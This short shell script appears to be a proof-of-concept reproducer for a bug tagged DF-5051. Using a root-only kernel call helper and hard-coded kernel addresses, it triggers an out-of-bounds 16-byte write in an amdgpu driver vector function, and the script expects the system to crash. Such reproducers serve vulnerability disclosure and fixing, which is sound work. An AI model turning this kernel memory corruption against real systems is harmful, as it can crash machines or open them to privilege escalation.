#!/bin/sh
KV=/root/kv
CREATE=FFFFFFFF8271D070
INSERT=FFFFFFFF8271D2B0
VERSION=FFFFFFFF81144960
export KV_BCOPY=FFFFFFFF80BCA6A0
echo "### DF-5051: dal_vector_insert_at OOB write"
kldstat | grep amdgpu
V=$($KV call $CREATE 0 4 10)
echo "vector=$V"
echo "vector fields {container,struct_size,count,capacity,ctx}:"
$KV kread $V 32
echo "issuing insert_at(v, version, 0x0C000000): 16-byte write at container+0xC0000000"
$KV call $INSERT $V $VERSION 0C000000
echo "SURVIVED (unexpected)"
